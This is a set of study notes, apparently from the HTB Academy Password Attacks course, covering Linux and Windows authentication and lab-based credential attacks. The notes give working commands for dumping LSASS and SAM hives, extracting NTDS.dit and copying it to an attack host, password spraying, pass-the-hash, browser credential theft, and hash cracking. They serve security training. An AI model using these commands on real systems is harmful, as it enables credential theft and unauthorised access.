Password Attacks

Notes from HTB Academy Password Attacks course

Linux auth process

Shadow file

/etc/shadow

csbygb:

$y$j9T$3QSBB6CbHEu...SNIP...f8Ms:

18955:

0:

99999:

7:

:

<username>:

<encrypted password>:

<day of last change>:

<min age>:

<max age>:

<warning period>:

<inactivity period>:

<expiration date>:

<reserved field>

Encryption of password in shadow

$ <id>

$ <salt>

$ <hashed>

$ y

$ j9T

$ 3QSBB6CbHEu...SNIP...f8Ms

The type (id) is the cryptographic hash method used to encrypt the password. Many different cryptographic hash methods were used in the past and are still used by some systems today.

ID Cryptographic Hash Algorithm

ID	Cryptographic Hash Algorithm
$1$	MD5
$2a$	Blowfish
$5$	SHA-256
$6$	SHA-512
$sha1$	SHA1crypt
$y$	Yescrypt
$gy$	Gost-yescrypt
$7$	Scrypt

$1$

$2a$

$5$

$6$

$sha1$

$y$

$gy$

$7$

The other two files are /etc/passwd and /etc/group. In the past, the encrypted password was stored together with the username in the /etc/passwd file, but this was increasingly recognized as a security problem because the file can be viewed by all users on the system and must be readable. The /etc/shadow file can only be read by the user root.

Passwd file

csbygb:

x:

1000:

,,,:

/home/csbygb:

/bin/bash

<username>:

<password>:

<uid>:

<gid>:

<comment>:

<home directory>:

<cmd executed after logging in>

The x in the password field indicates that the encrypted password is in the /etc/shadow file. However, the redirection to the /etc/shadow file does not make the users on the system invulnerable because if the rights of this file are set incorrectly, the file can be manipulated so that the user root does not need to type a password to log in. Therefore, an empty field means that we can log in with the username without entering a password.

Windows auth process

The Windows client authentication process can oftentimes be more complicated than with Linux systems and consists of many different modules that perform the entire logon, retrieval, and verification processes. In addition, there are many different and complex authentication procedures on the Windows system, such as Kerberos authentication. The Local Security Authority (LSA) is a protected subsystem that authenticates users and logs them into the local computer. In addition, the LSA maintains information about all aspects of local security on a computer. It also provides various services for translating between names and security IDs (SIDs).

The security subsystem keeps track of the security policies and accounts that reside on a computer system. In the case of a Domain Controller, these policies and accounts apply to the domain where the Domain Controller is located. These policies and accounts are stored in Active Directory. In addition, the LSA subsystem provides services for checking access to objects, checking user permissions, and generating monitoring messages.

Local interactive logon is performed by the interaction between the logon process (WinLogon), the logon user interface process (LogonUI), the credential providers, LSASS, one or more authentication packages, and SAM or Active Directory. Authentication packages, in this case, are the Dynamic-Link Libraries (DLLs) that perform authentication checks. For example, for non-domain joined and interactive logins, the authentication package Msv1_0.dll is used.

Winlogon is a trusted process responsible for managing security-related user interactions. These include:

Launching LogonUI to enter passwords at login
Changing passwords
Locking and unlocking the workstation

It relies on credential providers installed on the system to obtain a user's account name or password. Credential providers are COM objects that are located in DLLs.

Winlogon is the only process that intercepts login requests from the keyboard sent via an RPC message from Win32k.sys. Winlogon immediately launches the LogonUI application at logon to display the user interface for logon. After Winlogon obtains a user name and password from the credential providers, it calls LSASS to authenticate the user attempting to log in.

LSASS

Local Security Authority Subsystem Service (LSASS) is a collection of many modules and has access to all authentication processes that can be found in %SystemRoot%\System32\Lsass.exe. This service is responsible for the local system security policy, user authentication, and sending security audit logs to the Event log. In other words, it is the vault for Windows-based operating systems, and we can find a more detailed illustration of the LSASS architecture here.

Authentication Packages Description

Authentication Packages	Description
`Lsasrv.dll`	The LSA Server service both enforces security policies and acts as the security package manager for the LSA. The LSA contains the Negotiate function, which selects either the NTLM or Kerberos protocol after determining which protocol is to be successful.
`Msv1_0.dll`	Authentication package for local machine logons that don't require custom authentication.
`Samsrv.dll`	The Security Accounts Manager (SAM) stores local security accounts, enforces locally stored policies, and supports APIs.
`Kerberos.dll`	Security package loaded by the LSA for Kerberos-based authentication on a machine.
`Netlogon.dll`	Network-based logon service.
`Ntdsa.dll`	This library is used to create new records and folders in the Windows registry.

Lsasrv.dll

The LSA Server service both enforces security policies and acts as the security package manager for the LSA. The LSA contains the Negotiate function, which selects either the NTLM or Kerberos protocol after determining which protocol is to be successful.

Msv1_0.dll

Authentication package for local machine logons that don't require custom authentication.

Samsrv.dll

The Security Accounts Manager (SAM) stores local security accounts, enforces locally stored policies, and supports APIs.

Kerberos.dll

Security package loaded by the LSA for Kerberos-based authentication on a machine.

Netlogon.dll

Network-based logon service.

Ntdsa.dll

This library is used to create new records and folders in the Windows registry.

Each interactive logon session creates a separate instance of the Winlogon service. The Graphical Identification and Authentication (GINA) architecture is loaded into the process area used by Winlogon, receives and processes the credentials, and invokes the authentication interfaces via the LSALogonUser function.

Attacking LSASS

Upon initial logon, LSASS will:

Cache credentials locally in memory
Create access tokens
Enforce security policies
Write to Windows security log

Dumping LSASS Process Memory

With Task Manager (requires GUI access)

Image from HTB Academy

A file lsass.DMP will be in C:\Users\loggedonusersdirectory\AppData\Local\Temp

With Rundll32.exe & Comsvcs.dll

Before issuing the command to create the dump file, we must determine what process ID (PID) is assigned to lsass.exe. This can be done from cmd or PowerShell:

tasklist /svc from cmd
Get-Process lsass from powershell
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full lsass dump with powershell

Using Pypykatz to Extract Credentials

Install pypykatz

mkdir pypykatz
python3 -m venv .
source bin/activate
pip install pypykatz

pypykatz lsa minidump /home/peter/Documents/lsass.dmp

SAM Database

The Security Account Manager (SAM) is a database file in Windows operating systems that stores users' passwords. It can be used to authenticate local and remote users. SAM uses cryptographic measures to prevent unauthenticated users from accessing the system. User passwords are stored in a hash format in a registry structure as either an LM hash or an NTLM hash. This file is located in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM. SYSTEM level permissions are required to view it.

Windows systems can be assigned to either a workgroup or domain during setup. If the system has been assigned to a workgroup, it handles the SAM database locally and stores all existing users locally in this database. However, if the system has been joined to a domain, the Domain Controller (DC) must validate the credentials from the Active Directory database (ntds.dit), which is stored in %SystemRoot%\ntds.dit.

Microsoft introduced a security feature in Windows NT 4.0 to help improve the security of the SAM database against offline software cracking. This is the SYSKEY (syskey.exe) feature, which, when enabled, partially encrypts the hard disk copy of the SAM file so that the password hash values for all local accounts stored in the SAM are encrypted with a key.

Credential Manager is a feature built-in to all Windows operating systems that allows users to save the credentials they use to access various network resources and websites. Saved credentials are stored based on user profiles in each user's Credential Locker. Credentials are encrypted and stored in C:\Users\[Username]\AppData\Local\Microsoft\[Vault/Credentials]\

Copying SAM Registry Hives

There are three registry hives that we can copy if we have local admin access on the target; each will have a specific purpose when we get to dumping and cracking the hashes.

Registry Hive	Description
hklm\sam	Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext.
hklm\system	Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database.
hklm\security	Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target.

Registry Hive

Description

hklm\sam

Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext.

hklm\system

Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database.

hklm\security

Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target.

We can create backups of these hives using the reg.exe utility.

reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

Dumping Hashes with Impacket's secretsdump.py

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

Running Hashcat against NT hashes

sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt

Dumping LSA Secrets Remotely

crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa

Dumping SAM Remotely

crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam

NTDS

It is very common to come across network environments where Windows systems are joined to a Windows domain. This is common because it makes it easier for admins to manage all the systems owned by their respective organizations (centralized management). In these cases, the Windows systems will send all logon requests to Domain Controllers that belong to the same Active Directory forest. Each Domain Controller hosts a file called NTDS.dit that is kept synchronized across all Domain Controllers with the exception of Read-Only Domain Controllers. NTDS.dit is a database file that stores the data in Active Directory, including but not limited to:

User accounts (username & password hash)
Group accounts
Computer accounts
Group policy objects

Attack Methods

Dictionary Attacks

Dictionary attacks involve using a pre-generated list of words and phrases (known as a dictionary) to attempt to crack a password. This list of words and phrases is often acquired from various sources, such as publicly available dictionaries, leaked passwords, or even purchased from specialized companies. The dictionary is then used to generate a series of strings which are then used to compare against the hashed passwords. If a match is found, the password is cracked, providing an attacker access to the system and the data stored within it. This type of attack is highly effective. Therefore, it is essential to take the necessary steps to ensure that passwords are kept secure, such as using complex and unique passwords, regularly changing them, and using two-factor authentication.

When we find ourselves in a scenario where a dictionary attack is a viable next step, we can benefit from trying to custom tailor our attack as much as possible. In this case, we can consider the organization we are working with to perform the engagement against and use searches on various social media websites and look for an employee directory on the company's website. Doing this can result in us gaining the names of employees that work at the organization. One of the first things a new employee will get is a username. Many organizations follow a naming convention when creating employee usernames. Here are some common conventions to consider:

Username Convention	Practical Example for Jane Jill Doe
firstinitiallastname	jdoe
firstinitialmiddleinitiallastname	jjdoe
firstnamelastname	janedoe
firstname.lastname	jane.doe
lastname.firstname	doe.jane
nickname	doedoehacksstuff

Username Convention

Practical Example for Jane Jill Doe

firstinitiallastname

jdoe

firstinitialmiddleinitiallastname

jjdoe

firstnamelastname

janedoe

firstname.lastname

jane.doe

lastname.firstname

doe.jane

nickname

doedoehacksstuff

A tip from MrB3n: We can often find the email structure by Googling the domain name, i.e., “@inlanefreight.com” and get some valid emails. From there, we can use a script to scrape various social media sites and mashup potential valid usernames. Some organizations try to obfuscate their usernames to prevent spraying, so they may alias their username like a907 (or something similar) back to joe.smith. Sometimes you can use google dorks to search for “inlanefreight.com filetype:pdf” and find some valid usernames in the PDF properties if they were generated using a graphics editor. From there, you may be able to discern the username structure and potentially write a small script to create many possible combinations and then spray to see if any come back valid.

./username-anarchy -i names.txt convert a list of real names into common usernames formats.
NetExec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt dictionnary attack with NetExec

Capturing NTDS.dit

NTDS.dit file is stored at %systemroot$/ntds on the domain controllers in a forest. This is the primary database file associated with AD and stores all domain usernames, password hashes, and other critical schema information.

Creating Shadow Copy of C:

We can use vssadmin to create a Volume Shadow Copy (VSS) of the C: drive or whatever volume the admin chose when initially installing AD. It is very likely that NTDS will be stored on C: as that is the default location selected at install, but it is possible to change the location.

PS C:\> vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit Copying NTDS.dit from the VSS
PS C:\NTDS> cmd.exe /c move C:\NTDS\NTDS.dit \\10.10.15.30\CompData Transferring NTDS.dit to Attack Host

A Faster Method: Using cme to Capture NTDS.dit

NetExec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds This command allows us to utilize VSS to quickly capture and dump the contents of the NTDS.dit file conveniently within our terminal session.

Cracking Hashes & Gaining Credentials

sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt Cracking a Single Hash with Hashcat
evil-winrm -i 10.129.201.57 -u Administrator -H "64f12cddaa88057e06a81b54e73b949b" pass the hash with evil-winrm (more info about pass-the-hash attacks here)

Credential Hunting in Windows

Here we assume that we have gained access to an IT admin's Windows 10 workstation through RDP.

Keyterms to search

Passwords, Passphrases, Keys, Username, User account, Creds, Users, Passkeys, Passphrases, configuration, dbcredential, dbpassword, pwd, Login, Credentials.

Tools

Lazagne
- start lazagne.exe all execute Lazagne and run all included modules. We can include the option -vv to study what it is doing in the background.
findstr
- findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

Other places to keep in mind

Passwords in Group Policy in the SYSVOL share
Passwords in scripts in the SYSVOL share
Password in scripts on IT shares
Passwords in web.config files on dev machines and IT shares
unattend.xml
Passwords in the AD user or computer description fields
KeePass databases --> pull hash, crack and get loads of access.
Found on user systems and shares
Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, Sharepoint

Brute Force Attacks

Brute force attacks involve attempting every conceivable combination of characters that could form a password. This is an extremely slow process, and using this method is typically only advisable if there are no other alternatives. It is also important to note that the longer and more complex the password, the more difficult it is to crack and the longer it will take to exhaust every combination. For this reason, it is highly recommended that passwords be at least 8 characters in length, with a combination of letters, numbers, and symbols.

Rainbow Table Attacks

Rainbow table attacks involve using a pre-computed table of hashes and their corresponding plaintext passwords, which is a much faster method than a brute-force attack. However, this method is limited by the rainbow table size – the larger the table, the more passwords, and hashes it can store. Additionally, due to the nature of the attack, it is impossible to use rainbow tables to determine the plaintext of hashes not already included in the table. As a result, rainbow table attacks are only effective against hashes already present in the table, making the larger the table, the more successful the attack.

Linux Local Password Attacks

Credential hunting in Linux

Files

History

Memory

Key-Rings

Configs

Logs

Cache

Browser stored credentials

Databases

Command-line History

In-memory Processing

Notes

Scripts

Source codes

Cronjobs

SSH Keys

Log File	Description
/var/log/messages	Generic system activity logs.
/var/log/syslog	Generic system activity logs.
/var/log/auth.log	(Debian) All authentication related logs.
/var/log/secure	(RedHat/CentOS) All authentication related logs.
/var/log/boot.log	Booting information.
/var/log/dmesg	Hardware and drivers related information and logs.
/var/log/kern.log	Kernel related warnings, errors and logs.
/var/log/faillog	Failed login attempts.
/var/log/cron	Information related to cron jobs.
/var/log/mail.log	All mail server related logs.
/var/log/httpd	All Apache related logs.
/var/log/mysqld.log	All MySQL server related logs.

Log File

Description

/var/log/messages

Generic system activity logs.

/var/log/syslog

Generic system activity logs.

/var/log/auth.log

(Debian) All authentication related logs.

/var/log/secure

(RedHat/CentOS) All authentication related logs.

/var/log/boot.log

Booting information.

/var/log/dmesg

Hardware and drivers related information and logs.

/var/log/kern.log

Kernel related warnings, errors and logs.

/var/log/faillog

Failed login attempts.

/var/log/cron

Information related to cron jobs.

/var/log/mail.log

All mail server related logs.

/var/log/httpd

All Apache related logs.

/var/log/mysqld.log

All MySQL server related logs.

for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done seach for configuration files
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done search for "user", "password" and "pass" in all cnf files
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done search for database files
find /home/* -type f -name "*.txt" -o ! -name "*.*" search for files including the .txt file extension and files that have no file extension at all
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done search for scripts
cat /etc/crontab ls -la /etc/cron.*/ search for cron jobs (might contain creds)
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1" search for ssh private keys
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1" search for ssh public keys
tail -n5 /home/*/.bash* search for files with .bash in the name
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done search for specific strings (accepted session opened session closed failure failed ssh password changed new user delete user sudo COMMAND= logs) in log files

mimipenguin

Requires root privileges

Repo of mimipenguin
sudo python3 mimipenguin.py or sudo bash mimipenguin.sh

Lazagne

sudo python2.7 laZagne.py all

Credentials in Browsers

ls -l .mozilla/firefox/ | grep default search for firefox files with credentials
cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq . print mozzilla creds file
python3 laZagne.py browsers with lazagne

Firefox decrypt

Repo
python3.9 firefox_decrypt.py Decrypting Firefox Credentials

Passwd,Shadow & Opasswd

Passwd

If we change root:x:0:0:root:/root:/bin/bash for root::0:0:root:/root:/bin/bash root wont require a password if we use su

Shadow File

The format of this file is divided into nine fields:

cry0l1t3:$6$wBRzy$...SNIP...x9cDWUxW1:18937:0:99999:7:::

Username Encrypted password Last PW change Min. PW age Max. PW age Warning period Inactivity period Expiration date Unused

Username	Encrypted password	Last PW change	Min. PW age	Max. PW age	Warning period	Inactivity period	Expiration date	Unused
`cry0l1t3`	`$6$wBRzy$...SNIP...x9cDWUxW1`	`18937`	`0`	`99999`	`7`

cry0l1t3

$6$wBRzy$...SNIP...x9cDWUxW1

18937

0

99999

7

If the password field contains a character, such as ! or *, the user cannot log in with a Unix password. However, other authentication methods for logging in, such as Kerberos or key-based authentication, can still be used. The same case applies if the encrypted password field is empty. This means that no password is required for the login. However, it can lead to specific programs denying access to functions. The encrypted password also has a particular format by which we can also find out some information:

$<type>$<salt>$<hashed>

Algorithm Types

$1$ – MD5
$2a$ – Blowfish
$2y$ – Eksblowfish
$5$ – SHA-256
$6$ – SHA-512

Opasswd

The PAM library (pam_unix.so) can prevent reusing old passwords. The file where old passwords are stored is the /etc/security/opasswd. Administrator/root permissions are also required to read the file if the permissions for this file have not been changed manually.

sudo cat /etc/security/opasswd

Cracking Linux Credentials

Unshadow

sudo cp /etc/passwd /tmp/passwd.bak
sudo cp /etc/shadow /tmp/shadow.bak
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes

Hashcat - Cracking Unshadowed Hashes

hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked

Hashcat - Cracking MD5 Hashes

cat md5-hashes.list
hashcat -m 500 -a 0 md5-hashes.list rockyou.txt

Resources

PreviousExploitation (basics)NextPost Exploitation

Last updated 2 months ago